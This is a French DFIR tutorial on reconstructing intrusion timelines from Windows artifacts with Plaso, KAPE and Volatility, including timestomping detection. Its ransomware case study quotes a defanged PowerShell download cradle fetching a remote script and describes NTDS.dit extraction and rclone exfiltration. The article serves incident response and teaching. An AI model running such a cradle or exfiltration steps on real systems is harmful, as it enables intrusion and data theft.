Timeline Forensique : Reconstituer Pas à Pas une Chronologie d'Intrusion

Introduction : le temps, dimension critique de l'investigation

Dans toute investigation numérique, la question fondamentale n'est pas seulement quoi mais quand. La timeline forensique est l'artefact central de toute analyse DFIR (Digital Forensics and Incident Response). Elle transforme des milliers d'événements épars -- logs système, métadonnées de fichiers, entrées de registre, traces réseau -- en un récit chronologique cohérent qui révèle la séquence exacte d'une intrusion. Sans timeline, l'analyste travaille à l'aveugle ; avec une timeline bien construite, chaque action de l'attaquant se dessine avec précision.

La construction d'une timeline forensique est un exercice à la fois technique et méthodologique. Technique, car il faut maîtriser les sources de données temporelles propres à chaque système d'exploitation, comprendre la résolution et la fiabilité de chaque horodatage, et utiliser des outils capables de normaliser et corréler des millions d'entrées. Méthodologique, car il faut savoir poser les bonnes questions, identifier les événements pivots, filtrer le bruit et détecter les tentatives d'anti-forensique comme le timestomping.

Cet article propose un guide complet de la timeline forensique. Nous examinerons les sources de données temporelles disponibles sur les systèmes Windows, les outils de référence pour la construction de timelines, la méthodologie d'analyse, la détection des manipulations temporelles, et un cas pratique complet de reconstitution d'un scénario ransomware. Que vous soyez analyste SOC, incident responder ou consultant DFIR, ce guide vous fournira les connaissances nécessaires pour transformer des données brutes en chronologie exploitable.

Point clé : une timeline forensique bien construite peut réduire le temps moyen d'investigation de 60 à 80 %, en permettant d'identifier rapidement le vecteur d'entrée, la chronologie de la latéralisation et l'étendue de la compromission.

Sources de données temporelles

Les timestamps MACB du système de fichiers NTFS

Le système de fichiers NTFS stocke pour chaque fichier et répertoire un ensemble de quatre timestamps connu sous l'acronyme MACB : Modified (dernière modification du contenu), Accessed (dernier accès), Changed (dernière modification des métadonnées dans la MFT) et Birth (date de création). Ces timestamps sont enregistrés dans deux attributs distincts de la Master File Table (MFT) : $STANDARD_INFORMATION (SI) et $FILE_NAME (FN).

La distinction entre ces deux attributs est cruciale pour la forensique. L'attribut $STANDARD_INFORMATION peut être modifié par des appels API Windows standard (comme SetFileTime()), ce qui en fait une cible privilégiée pour le timestomping. En revanche, l'attribut $FILE_NAME ne peut être modifié que par le driver NTFS du noyau, ce qui le rend beaucoup plus fiable. La comparaison entre ces deux attributs constitue l'une des méthodes principales de détection du timestomping.

La MFT elle-même constitue un artefact forensique de premier ordre. Chaque entrée MFT occupe 1024 octets et contient non seulement les timestamps, mais aussi le nom du fichier, sa taille, ses attributs de sécurité et, pour les fichiers de petite taille (inférieur à environ 700 octets), le contenu du fichier lui-même (fichier résident). L'analyse de la MFT permet de retrouver des fichiers supprimés dont l'entrée n'a pas encore été réallouée, offrant une fenêtre sur l'activité historique du système.

Windows Event Logs

Les journaux d'événements Windows sont la source de données temporelles la plus riche pour la forensique. Stockés au format EVTX dans C:\Windows\System32\winevt\Logs\, ils enregistrent avec précision les actions du système, des utilisateurs et des applications. Pour la timeline forensique, les journaux les plus pertinents sont :

Journal	Event IDs clés	Intérêt forensique
Security.evtx	4624, 4625, 4648, 4672, 4688, 4697, 4720, 4732	Authentifications, création de processus, élévation de privilèges
System.evtx	7034, 7036, 7045, 104	Services installés, arrêtés, effacement de logs
PowerShell/Operational	4103, 4104	Script block logging, commandes exécutées
Sysmon/Operational	1, 3, 7, 8, 10, 11, 13, 22, 25	Création processus, réseau, chargement DLL, accès registre
TaskScheduler/Operational	106, 140, 141, 200, 201	Tâches planifiées créées, modifiées, exécutées
TerminalServices-LocalSessionManager	21, 22, 23, 24, 25	Sessions RDP entrantes et sortantes

L'Event ID 4688 (Process Creation) mérite une attention particulière. Lorsque l'audit de création de processus est configuré avec la ligne de commande (GPO "Include command line in process creation events"), chaque lancement de processus génère un log contenant le chemin de l'exécutable, la ligne de commande complète, le SID de l'utilisateur et le processus parent. Cette source seule peut suffire à reconstituer une grande partie de l'activité d'un attaquant.

Prefetch, AmCache et ShimCache

Le Prefetch (C:\Windows\Prefetch\) enregistre les huit dernières dates d'exécution de chaque programme ainsi que la liste des fichiers et répertoires accédés lors du lancement. Chaque fichier .pf contient un hash du chemin de l'exécutable, ce qui permet de distinguer des instances du même binaire lancées depuis des emplacements différents. La présence d'un fichier Prefetch pour PSEXEC.EXE ou MIMIKATZ.EXE constitue un indicateur fort de compromission.

L'AmCache (C:\Windows\AppCompat\Programs\Amcache.hve) est une ruche de registre qui enregistre les métadonnées des programmes exécutés : hash SHA1, taille, éditeur, version et date de première exécution. Contrairement au Prefetch qui peut être désactivé sur les serveurs, l'AmCache est présent sur toutes les versions de Windows depuis Windows 8 et Server 2012 R2.

Le ShimCache (Application Compatibility Cache) est stocké dans la clé de registre HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache. Il enregistre le chemin, la taille et la date de dernière modification de chaque exécutable rencontré par le système. Un point important : la présence dans le ShimCache ne garantit pas l'exécution effective du programme, car le cache est mis à jour lors du parcours de répertoire. Cependant, un flag "Executed" est présent sous Windows XP/2003, et la position dans le cache (les entrées les plus récentes en premier) fournit un indice temporel précieux.

Registre Windows, historique navigateur et SRUM

Le registre Windows contient de nombreuses sources temporelles. Les clés UserAssist enregistrent les programmes lancés via l'interface graphique avec un compteur et un timestamp (encodé en ROT13). Les clés MRU (Most Recently Used) gardent trace des fichiers récemment ouverts. Les ShellBags enregistrent les préférences de dossier de l'utilisateur, révélant quels répertoires ont été parcourus, y compris sur des partages réseau et des supports amovibles. Les timestamps de dernière modification des clés de registre (key last write time) constituent eux-mêmes un artefact temporel exploitable.

L'historique des navigateurs (Chrome, Firefox, Edge) stocké dans des bases de données SQLite fournit des timestamps précis pour les pages visitées, les téléchargements, les recherches et les soumissions de formulaires. Dans le cadre d'un phishing initial, l'historique du navigateur peut révéler l'URL malveillante visitée et le moment exact du téléchargement du payload.

Le SRUM (System Resource Usage Monitor, C:\Windows\System32\sru\SRUDB.dat) est une base de données introduite avec Windows 8 qui enregistre la consommation de ressources par application : utilisation CPU, réseau (bytes envoyés/reçus), énergie et durée d'exécution. Les données SRUM sont agrégées par intervalles d'une heure et conservées pendant 60 jours. Pour la timeline, le SRUM permet de confirmer qu'un processus s'est effectivement exécuté à une période donnée et de quantifier son activité réseau, ce qui est particulièrement utile pour détecter l'exfiltration de données.

Outils de construction de timeline

Plaso / log2timeline : la référence

Plaso (Plaso Langar Ekki Smpp Og, littéralement "Plaso n'est pas encore un autre super parser de logs") est le framework de référence pour la construction de super timelines forensiques. Développé par Kristinn Gudjonsson et maintenu par la communauté, Plaso est capable de parser plus de 300 formats de fichiers et de les consolider en une timeline unifiée. Le processus se décompose en deux étapes : log2timeline.py pour l'extraction et la création du fichier de stockage intermédiaire (format Plaso), puis psort.py pour le filtrage, le tri et l'export.

# Extraction d'une image disque complète vers un fichier Plaso
log2timeline.py --storage-file timeline.plaso /chemin/vers/image.E01

# Export filtré au format CSV (L2tcsv)
psort.py -o l2tcsv -w timeline.csv timeline.plaso "date > '2026-01-15 00:00:00' AND date < '2026-02-01 00:00:00'"

# Export filtré avec recherche par mot-clé
psort.py -o l2tcsv -w filtered.csv timeline.plaso "source_short contains 'EVT' AND message contains 'mimikatz'"

# Utilisation de filtres avancés
psort.py -o l2tcsv -w rdp_sessions.csv timeline.plaso "data_type contains 'windows:evtx:record' AND source_short is 'EVT' AND message contains '4624' AND message contains 'Type 10'"

L'exécution de log2timeline sur une image disque complète peut prendre plusieurs heures, voire plusieurs jours pour de grands volumes. Il est recommandé de commencer par un traitement ciblé en utilisant des parsers spécifiques plutôt qu'un scan complet. Par exemple, pour une analyse rapide, on peut se limiter aux parsers winevtx, prefetch, mft et amcache.

# Extraction rapide avec parsers ciblés
log2timeline.py --parsers "winevtx,prefetch,mft,amcache,shimcache,userassist" --storage-file quick_timeline.plaso /chemin/vers/image.E01

# Vérification des parsers disponibles
log2timeline.py --parsers list

Timeline Explorer : la visualisation

Timeline Explorer, développé par Eric Zimmerman, est un outil gratuit de visualisation de timelines au format CSV. Il offre des fonctionnalités avancées de filtrage en colonnes, de recherche par mots-clés et de coloration conditionnelle qui facilitent l'analyse de fichiers CSV contenant plusieurs millions de lignes. Timeline Explorer est particulièrement efficace lorsqu'il est couplé avec les exports de Plaso au format L2tcsv ou avec les timelines générées par les outils de la suite KAPE.

KAPE : collecte et traitement intégrés

KAPE (Kroll Artifact Parser and Extractor), également développé par Eric Zimmerman, est un outil de triage forensique qui combine collecte d'artefacts et traitement automatisé. KAPE utilise des "Targets" pour définir les fichiers à collecter et des "Modules" pour les parser. Pour la construction de timeline, KAPE peut être configuré pour collecter automatiquement les fichiers EVT, le Prefetch, la MFT, le registre, l'AmCache et d'autres artefacts, puis lancer log2timeline et les parsers EZ Tools (outils d'Eric Zimmerman) pour produire une timeline consolidée.

# Collecte et traitement KAPE en une commande
kape.exe --tsource C: --tdest E:\collection --target KapeTriage --msource E:\collection --mdest E:\processed --module !EZParser,MFTECmd,PECmd,AmcacheParser,EvtxECmd

# Structure de sortie KAPE
E:\processed\
├── Timeline/
│   ├── MFTECmd_Output.csv
│   ├── PECmd_Output.csv
│   └── AmcacheParser_Output.csv
├── EventLogs/
│   └── EvtxECmd_Output.csv
└── Registry/
    └── RECmd_Output.csv

Axiom : l'approche commerciale

Magnet Axiom est une solution commerciale qui automatise l'ensemble du processus de timeline forensique avec une interface graphique. Axiom ingère des images disque, des captures mémoire et des dumps cloud, et produit une timeline interactive avec des fonctionnalités de filtrage avancées, de tagging et de reporting. Sa fonctionnalité "Relative Time Filter" permet de visualiser l'activité autour d'un événement spécifique. Axiom est particulièrement apprécié pour sa capacité à corréler automatiquement les artefacts Windows avec les données cloud (Microsoft 365, Google Workspace) et mobiles.

Méthodologie de construction de la timeline

Identification des événements pivots

La construction d'une timeline efficace commence par l'identification d'événements pivots -- des points de référence temporels connus à partir desquels l'analyse se déploie. Un événement pivot peut être un horodatage connu de l'incident (alerte EDR, notification de ransomware, signalement utilisateur), un IOC (Indicator of Compromise) daté provenant de la threat intelligence, ou un artefact forensique significatif découvert lors du triage initial.

À partir de chaque événement pivot, l'analyste explore la timeline dans les deux directions temporelles : en arrière pour identifier les actions préparatoires (reconnaissance, accès initial, persistance) et en avant pour suivre la progression de l'attaque (mouvement latéral, exfiltration, impact). Cette technique du "pivot and expand" permet de construire progressivement la chronologie complète sans se noyer dans le volume total des données.

Normalisation des fuseaux horaires

La normalisation des fuseaux horaires est l'une des sources d'erreur les plus fréquentes en timeline forensique. Les timestamps NTFS sont stockés en UTC, les journaux d'événements Windows utilisent le fuseau horaire système, les logs de serveurs web peuvent utiliser l'heure locale ou UTC selon leur configuration, et les équipements réseau ont souvent leur propre configuration de timezone. Sans normalisation rigoureuse, des événements séparés de quelques minutes peuvent apparaître décalés de plusieurs heures, rendant la corrélation impossible.

La première étape de normalisation consiste à identifier le fuseau horaire de chaque source. Pour les systèmes Windows, cette information se trouve dans la clé de registre HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation. Il est essentiel de vérifier si l'heure d'été (DST) était en vigueur au moment de l'incident. Plaso gère automatiquement la normalisation UTC lors de l'extraction, à condition que le fuseau horaire soit correctement spécifié en paramètre.

# Spécification du fuseau horaire dans Plaso
log2timeline.py --timezone "Europe/Paris" --storage-file timeline.plaso image.E01

# Vérification du fuseau horaire du système dans le registre
python3 -c "
import regipy
reg = regipy.RegistryHive('/chemin/vers/SYSTEM')
tz_info = reg.get_key('\\ControlSet001\\Control\\TimeZoneInformation')
print(f'Timezone: {tz_info.get_value(\"TimeZoneKeyName\")}')"

Filtrage et réduction du bruit

Une super timeline complète peut contenir des dizaines de millions d'entrées, dont la grande majorité correspond à l'activité normale du système. Le filtrage est essentiel pour rendre l'analyse tractable. Les stratégies de filtrage incluent :

• Filtrage temporel : se concentrer sur la fenêtre temporelle de l'incident plus une marge de sécurité (typiquement, la date de l'alerte moins 30 à 90 jours pour capturer la phase de reconnaissance)
• Filtrage par source : isoler les types de sources les plus pertinents (EVT, Prefetch, MFT) en fonction de l'hypothèse d'investigation
• Filtrage par mots-clés : rechercher des termes associés à l'activité malveillante (noms d'outils, adresses IP, noms d'utilisateurs compromis, noms de fichiers suspects)
• Exclusion des patterns connus : supprimer l'activité des services Windows légitimes, des mises à jour automatiques et des tâches planifiées de maintenance
• Filtrage par utilisateur : isoler l'activité d'un compte compromis spécifique

Analyse de la timeline : patterns suspects et anti-forensique

Patterns d'activité suspecte

L'analyse de la timeline repose sur la capacité de l'analyste à identifier des patterns anormaux au sein du flux d'événements. Les patterns les plus révélateurs incluent :

Activité hors heures ouvrées : une concentration d'événements entre 2h et 5h du matin (heure locale) sur un poste de travail habituellement utilisé en journée constitue un signal fort. L'analyste doit vérifier le fuseau horaire de l'attaquant potentiel -- un groupe APT basé en Asie de l'Est opérant pendant ses heures ouvrées peut générer de l'activité nocturne en Europe.

Séquences d'événements caractéristiques : certaines séquences sont des signatures quasi-certaines d'activité malveillante. Par exemple, la séquence Event ID 4624 (logon type 3 ou 10) suivie immédiatement d'un Event ID 4672 (special privileges assigned) puis d'un Event ID 7045 (service installed) sur un serveur qui n'a pas fait l'objet de maintenance planifiée indique une probable latéralisation avec élévation de privilèges.

Exécution d'outils offensifs : la présence dans la timeline de fichiers Prefetch ou d'entrées AmCache pour des outils comme mimikatz.exe, rubeus.exe, psexec.exe, sharphound.exe, cobalt*.exe ou des binaires renommés avec des hash correspondant à ces outils constitue un indicateur de compromission majeur. Les attaquants renomment souvent leurs outils pour échapper à la détection, mais le hash SHA1 dans l'AmCache reste identifiable.

Gaps et effacement de logs : un intervalle anormal dans les journaux d'événements Windows -- par exemple, aucune entrée dans Security.evtx pendant une période de 30 minutes alors que les journaux System et Application continuent -- peut indiquer un effacement ciblé. L'Event ID 1102 dans Security.evtx et l'Event ID 104 dans System.evtx enregistrent respectivement l'effacement du journal de sécurité et des autres journaux. Paradoxalement, l'acte d'effacement crée lui-même une entrée dans la timeline.

Détection du timestomping

Le timestomping est une technique anti-forensique (MITRE ATT&CK T1070.006) par laquelle l'attaquant modifie les timestamps d'un fichier pour le faire passer pour un fichier système légitime ou pour le rendre antérieur à la fenêtre d'investigation. La détection du timestomping repose sur plusieurs indicateurs convergents :

• Divergence SI/FN : si le timestamp de création dans $STANDARD_INFORMATION est antérieur à celui de $FILE_NAME, c'est une anomalie car le FN ne peut être modifié par les API standard. Un fichier dont le SI indique 2019 mais dont le FN indique 2026 a probablement été timestompé.
• Timestamps arrondis : les outils de timestomping comme timestomp de Metasploit ou Set-MACETimestamp produisent souvent des timestamps avec des secondes arrondies à zéro ou avec une résolution anormalement faible (pas de fraction de seconde) alors que NTFS enregistre normalement des fractions de seconde.
• Incohérence avec le $UsnJrnl : le journal USN ($UsnJrnl:$J) enregistre les modifications apportées aux fichiers avec ses propres timestamps. Si un fichier apparaît dans le journal USN à une date récente mais affiche un timestamp de création ancien dans la MFT, c'est un indicateur de timestomping.
• Incohérence avec le $LogFile : le fichier $LogFile (journal de transactions NTFS) peut contenir les valeurs originales des timestamps avant modification, permettant de confirmer le timestomping.

# Détection de timestomping avec MFTECmd (Eric Zimmerman)
MFTECmd.exe -f "$MFT" --csv E:\output --csvf mft_output.csv

# Recherche des anomalies SI/FN dans la sortie CSV (PowerShell)
Import-Csv E:\output\mft_output.csv | Where-Object {
    [datetime]$_.'SI_Created' -lt [datetime]$_.'FN_Created' -and
    $_.'InUse' -eq 'True'
} | Select-Object FileName, SI_Created, FN_Created, SI_Modified | 
Export-Csv E:\output\timestomping_suspects.csv

# Analyse du journal USN pour corroborer
MFTECmd.exe -f "$UsnJrnl:$J" --csv E:\output --csvf usnjrnl_output.csv

Cas pratique complet : timeline d'un scénario ransomware

Pour illustrer l'ensemble de la méthodologie, reconstituons la timeline d'un incident ransomware réel (anonymisé). L'entreprise a découvert le chiffrement de ses fichiers un lundi matin à 07h15. L'objectif de l'investigation est de reconstituer la chronologie complète de l'intrusion, du vecteur d'entrée initial jusqu'au déploiement du ransomware.

Phase 1 : Accès initial (J-14)

Jour J-14, 14h32 UTC -- L'historique du navigateur Chrome du poste WORKSTATION-042 révèle la visite d'une URL hxxps://invoice-update[.]com/doc/Q4-2025.html correspondant à un lien de phishing contenu dans un email. L'Event ID 4688 du journal Security montre le lancement de msedge.exe suivi du téléchargement d'un fichier Q4-Invoice.iso.

Jour J-14, 14h34 UTC -- Le Prefetch montre l'exécution de EXPLORER.EXE montant le fichier ISO, puis l'exécution d'un fichier LNK masqué qui lance cmd.exe avec une commande encodée en base64. Le décodage révèle un script PowerShell de téléchargement (cradle) récupérant un implant Cobalt Strike depuis cdn-static[.]cloud/update.bin.

Jour J-14, 14h35 UTC -- L'Event ID 4104 (PowerShell Script Block Logging) enregistre le contenu du script : IEX (New-Object Net.WebClient).DownloadString('hxxps://cdn-static[.]cloud/update.ps1'). L'AmCache confirme l'exécution d'un binaire svchost32.exe (hash SHA1 non reconnu par VirusTotal au moment de l'incident) dans le répertoire %APPDATA%\Local\Temp\.

Phase 2 : Persistance et reconnaissance (J-14 à J-7)

Jour J-14, 14h38 UTC -- L'Event ID 13 de Sysmon (Registry value set) enregistre la création d'une clé Run dans HKCU\Software\Microsoft\Windows\CurrentVersion\Run pointant vers le binaire malveillant. La persistance est établie.

Jour J-12, 03h15 UTC -- L'Event ID 1 de Sysmon montre l'exécution de net.exe avec les arguments group "Domain Admins" /domain, puis nltest /dclist: et net view /domain. C'est la phase de reconnaissance Active Directory. Le SRUM confirme une activité réseau significative du processus malveillant pendant cette période (18 Mo envoyés, 45 Mo reçus sur un intervalle d'une heure).

Jour J-10, 02h40 UTC -- Le Prefetch révèle l'exécution de SHARPHOUND.EXE (collecteur BloodHound). Les ShellBags montrent la navigation vers un répertoire C:\Users\user042\Documents\loot\ où des fichiers JSON de collecte BloodHound sont stockés temporairement.

Phase 3 : Mouvement latéral et élévation (J-7 à J-3)

Jour J-7, 01h20 UTC -- Sur le contrôleur de domaine DC01, l'Event ID 4624 (Logon Type 3 - réseau) est suivi d'un Event ID 4672 (privilèges spéciaux) pour le compte svc_backup depuis l'adresse IP de WORKSTATION-042. Ce compte de service dispose de privilèges SeBackupPrivilege, permettant la lecture de la base NTDS.dit. L'exécution de ntdsutil.exe est confirmée par le Prefetch de DC01 à J-7, 01h25 UTC.

Jour J-5, 02h00 UTC -- Les Event Logs de quatre serveurs supplémentaires (SRV-FILE01, SRV-FILE02, SRV-APP01, SRV-DB01) montrent des authentifications successives avec le compte Administrator depuis DC01. L'Event ID 7045 enregistre l'installation d'un service nommé BTOBTO sur chaque machine -- signature caractéristique de PsExec avec le paramètre par défaut.

Phase 4 : Exfiltration et déploiement ransomware (J-3 à J-0)

Jour J-3, 22h00 à J-2, 04h00 UTC -- Le SRUM de SRV-FILE01 montre une activité réseau sortante anormale : 47 Go envoyés par un processus rclone.exe vers un service de stockage cloud. Les logs du proxy confirment des connexions HTTPS vers mega.nz. L'exfiltration des données sensibles est confirmée.

Jour J-0, dimanche 23h45 UTC -- Sur DC01, l'Event ID 4698 (tâche planifiée créée) enregistre la création d'une tâche nommée WindowsUpdate exécutant C:\Windows\Temp\locker.exe à 00h00 UTC via une GPO s'appliquant à toutes les machines du domaine. Le chiffrement commence à minuit et est découvert par les premiers utilisateurs arrivant le lundi matin.

# Timeline résumée de l'incident (format simplifié)
2026-01-15 14:32 UTC | WS-042  | Phishing - visite URL malveillante
2026-01-15 14:34 UTC | WS-042  | Execution payload ISO + LNK + PowerShell
2026-01-15 14:35 UTC | WS-042  | Cobalt Strike beacon deployed (svchost32.exe)
2026-01-15 14:38 UTC | WS-042  | Persistence - Registry Run key created
2026-01-17 03:15 UTC | WS-042  | AD Recon - net group, nltest, net view
2026-01-19 02:40 UTC | WS-042  | BloodHound collection (SharpHound.exe)
2026-01-22 01:20 UTC | DC01    | Lateral movement - svc_backup logon
2026-01-22 01:25 UTC | DC01    | NTDS.dit extraction via ntdsutil
2026-01-24 02:00 UTC | 4 SRVs  | PsExec propagation (service BTOBTO)
2026-01-26 22:00 UTC | FILE01  | Data exfiltration begins (rclone → mega.nz)
2026-01-27 04:00 UTC | FILE01  | Exfiltration complete (~47 GB)
2026-01-28 23:45 UTC | DC01    | Scheduled task created via GPO
2026-01-29 00:00 UTC | Domain  | Ransomware encryption begins
2026-01-29 07:15 UTC | Domain  | Discovery by employees

Présentation des résultats : rapport et visualisation

Structuration du rapport de timeline

Le rapport de timeline forensique doit être structuré pour servir plusieurs audiences : l'équipe technique de réponse à incident, le management de l'entreprise, les assureurs, et potentiellement les forces de l'ordre. Une structure recommandée comprend :

1. Résumé exécutif : chronologie synthétique en 10 à 15 lignes avec les étapes clés et les dates, compréhensible par un non-technicien
2. Méthodologie : description des sources de données collectées, des outils utilisés et de la chaîne de custody
3. Timeline détaillée : tableau chronologique avec colonnes timestamp (UTC), source, système, événement, artefact, confiance (haute/moyenne/basse)
4. Analyse des phases : découpage de l'intrusion selon le framework MITRE ATT&CK avec les techniques identifiées et les artefacts associés
5. Indicateurs de compromission : liste consolidée des IOCs (hashes, IPs, domaines, noms de fichiers, clés de registre) avec les timestamps de première et dernière observation
6. Limites et lacunes : identification honnête des zones d'ombre (logs manquants, artefacts écrasés, périodes non couvertes)
7. Recommandations : mesures de remédiation classées par priorité

Visualisation de la timeline

La visualisation est essentielle pour communiquer les résultats. Plusieurs approches complémentaires sont recommandées :

Diagramme de Gantt : représente les phases de l'attaque (accès initial, persistance, mouvement latéral, exfiltration, impact) comme des barres temporelles parallèles, montrant la durée de chaque phase et leur chevauchement. Ce format est particulièrement efficace pour les présentations au management.

Timeline interactive : des outils comme timesketch (open source, développé par Google) permettent de créer des timelines interactives partageables, avec possibilité de zoomer, filtrer et annoter. Timesketch s'intègre nativement avec Plaso et supporte l'import de fichiers CSV.

Cartographie de latéralisation : un schéma réseau montrant la progression de l'attaquant d'un système à l'autre, avec les timestamps de chaque pivot, les comptes utilisés et les techniques employées. Ce format est indispensable pour évaluer le périmètre de compromission et planifier la remédiation.

Corrélation multi-source et techniques avancées

Corrélation entre sources hétérogènes

La puissance de la timeline forensique réside dans la corrélation entre sources hétérogènes. Un événement visible dans une seule source peut être ambigu ; confirmé par deux ou trois sources indépendantes, il devient une certitude. Par exemple, l'exécution d'un binaire malveillant peut être confirmée par le Prefetch (exécution), l'AmCache (métadonnées et hash), le ShimCache (présence sur le système), les Event Logs (Event ID 4688), Sysmon (Event ID 1) et la MFT (timestamps de création du fichier). Cette convergence des sources renforce la confiance dans les conclusions de l'investigation.

La corrélation temporelle entre les logs du poste de travail et les logs réseau (proxy, firewall, DNS) est particulièrement précieuse. Un Event ID 3 de Sysmon (connexion réseau) sur le poste compromis peut être corrélé avec une entrée dans les logs du proxy montrant une connexion vers un domaine de C2, elle-même corrélée avec une requête DNS dans les logs du résolveur. Cette triangulation permet de confirmer l'infrastructure de l'attaquant et de détecter d'autres systèmes potentiellement compromis communiquant avec les mêmes serveurs C2.

Analyse de la mémoire et intégration à la timeline

L'analyse de la mémoire vive (RAM) avec des outils comme Volatility 3 fournit des artefacts temporels complémentaires aux sources disque. Les processus en cours d'exécution au moment de la capture, les connexions réseau actives, les modules injectés et les handles ouverts apportent un instantané qui peut être intégré à la timeline. En particulier, la commande windows.pslist de Volatility fournit le timestamp de création de chaque processus, permettant de corréler avec les Event Logs et le Prefetch.

# Analyse mémoire avec Volatility 3 - liste des processus avec timestamps
python3 vol.py -f memory.raw windows.pslist

# Connexions réseau actives
python3 vol.py -f memory.raw windows.netscan

# Détection d'injection de code
python3 vol.py -f memory.raw windows.malfind

# Export des résultats en CSV pour intégration dans la timeline
python3 vol.py -f memory.raw windows.pslist --output csv > processes.csv

Automatisation et scalabilité

Pour les investigations portant sur des dizaines ou des centaines de systèmes, l'automatisation de la construction et de l'analyse de la timeline devient indispensable. Des plateformes comme Velociraptor permettent de collecter les artefacts forensiques à distance sur l'ensemble du parc, de les traiter en parallèle et de les ingérer dans un SIEM ou un outil de timeline centralisé. L'approche "hunt" de Velociraptor permet de rechercher des IOCs spécifiques sur tous les endpoints simultanément, transformant une investigation sur un poste unique en une chasse à l'échelle de l'entreprise.

L'intégration de la timeline dans un SIEM (Splunk, Elastic Security, Microsoft Sentinel) permet d'exploiter les capacités d'indexation et de recherche à grande échelle. Les données Plaso peuvent être ingérées dans Elasticsearch via l'output elastic de psort, puis visualisées dans Kibana ou Grafana. Cette approche est particulièrement adaptée aux grandes organisations qui gèrent des dizaines d'investigations simultanément.

Conclusion

La timeline forensique est bien plus qu'un outil technique : c'est la colonne vertébrale de toute investigation DFIR. Elle transforme le chaos des données brutes en un récit structuré qui révèle non seulement ce qui s'est passé, mais aussi comment et pourquoi. La maîtrise des sources de données temporelles, des outils de construction comme Plaso et KAPE, et de la méthodologie d'analyse (événements pivots, corrélation multi-source, détection d'anti-forensique) distingue un analyste compétent d'un expert capable de reconstituer les intrusions les plus sophistiquées.

Les attaquants sophistiqués connaissent les techniques forensiques et tentent activement de les contrer par le timestomping, l'effacement de logs et l'utilisation d'outils fileless. Cependant, la redondance des sources temporelles dans les systèmes modernes rend la destruction complète des traces extrêmement difficile. Chaque action laisse une empreinte dans au moins deux ou trois artefacts indépendants, et c'est cette convergence que l'analyste forensique doit exploiter.

En investissant dans la journalisation avancée (Sysmon, PowerShell Script Block Logging, audit de création de processus avec ligne de commande), les organisations augmentent considérablement la capacité de leurs équipes DFIR à reconstituer les incidents. La timeline forensique n'est pas une compétence que l'on mobilise uniquement en cas de crise : c'est une discipline qui doit être pratiquée régulièrement, sur des exercices purple team et des simulations, pour être prête le jour où elle sera vraiment nécessaire.

Recommandation finale : investissez dans trois domaines simultanément : (1) la collecte de données en configurant une journalisation exhaustive sur tous vos systèmes critiques, (2) les outils en déployant Plaso, KAPE et Velociraptor dans votre environnement DFIR, et (3) les compétences en formant régulièrement vos analystes à la construction et l'interprétation de timelines sur des cas réels.

Partagez cet Article

Cet article vous a été utile ? Partagez-le avec votre réseau professionnel !

Partager sur X Partager sur LinkedIn Copier le Lien

Ressources & Références Officielles

Documentations officielles, outils reconnus et ressources de la communauté

Plaso (log2timeline)

github.com/log2timeline/plaso

Eric Zimmerman's Tools (KAPE, Timeline Explorer)

ericzimmerman.github.io

MITRE ATT&CK - Indicator Removal

attack.mitre.org